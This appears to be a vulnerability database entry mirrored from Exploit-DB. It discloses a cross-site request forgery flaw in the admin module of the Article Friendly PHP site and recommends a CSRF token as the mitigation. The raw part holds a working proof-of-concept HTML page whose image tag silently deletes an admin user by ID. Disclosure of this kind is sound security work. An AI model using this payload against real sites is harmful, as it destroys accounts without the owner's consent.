Article friendly CSRF Vulnerability

vendor:

Admin Module

by:

Pratul Agrawal

8,8

CVSS

HIGH

Cross Site Request Forgery (CSRF)

352

CWE

Product Name: Admin Module

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2020

Article friendly CSRF Vulnerability

A Cross Site Request Forgery (CSRF) vulnerability was found in the Admin module of the Article Friendly website. An attacker could craft a malicious HTML page containing an image tag with a specially crafted URL that would delete the Admin user when the page was loaded. The URL would contain the filename parameter set to adminuser, the a parameter set to 3, and the adminid parameter set to the ID of the user to be deleted.

Mitigation:

Implementing a CSRF token on the Admin module of the Article Friendly website would prevent this attack.

Source

Exploit-DB raw data:

                     =======================================================================
  
                                         Article friendly CSRF Vulnerability

                     =======================================================================
  
                                                     by
  
                                               Pratul Agrawal

  
  
  # Vulnerability found in- Admin module
  
  # email         Pratulag@yahoo.com
  
  # company       aksitservices
  
  # Credit by     Pratul Agrawal
 
  # Site p4ge     http://www.articlefriendly.com/
 
  # Plateform     php
 
  
  
  # Proof of concept   #

  Targeted URL:  http://server/admin/index.php?filename=adminlogin
 

  Script to delete the Admin user through Cross Site request forgery
 
             .  ..................................................................................................................
 
                        <html>
 
                          <body>
 
      <img src=http://server/admin/index.php?filename=adminuser&a=3&adminid=[USER ID] />
 
                          </body>
 
                        </html>
 
 
             .  ..................................................................................................................
 
 
 
  After execution refresh the page and u can see that user having giving ID  get deleted automatically.


#If you have any questions, comments, or concerns, feel free to contact me.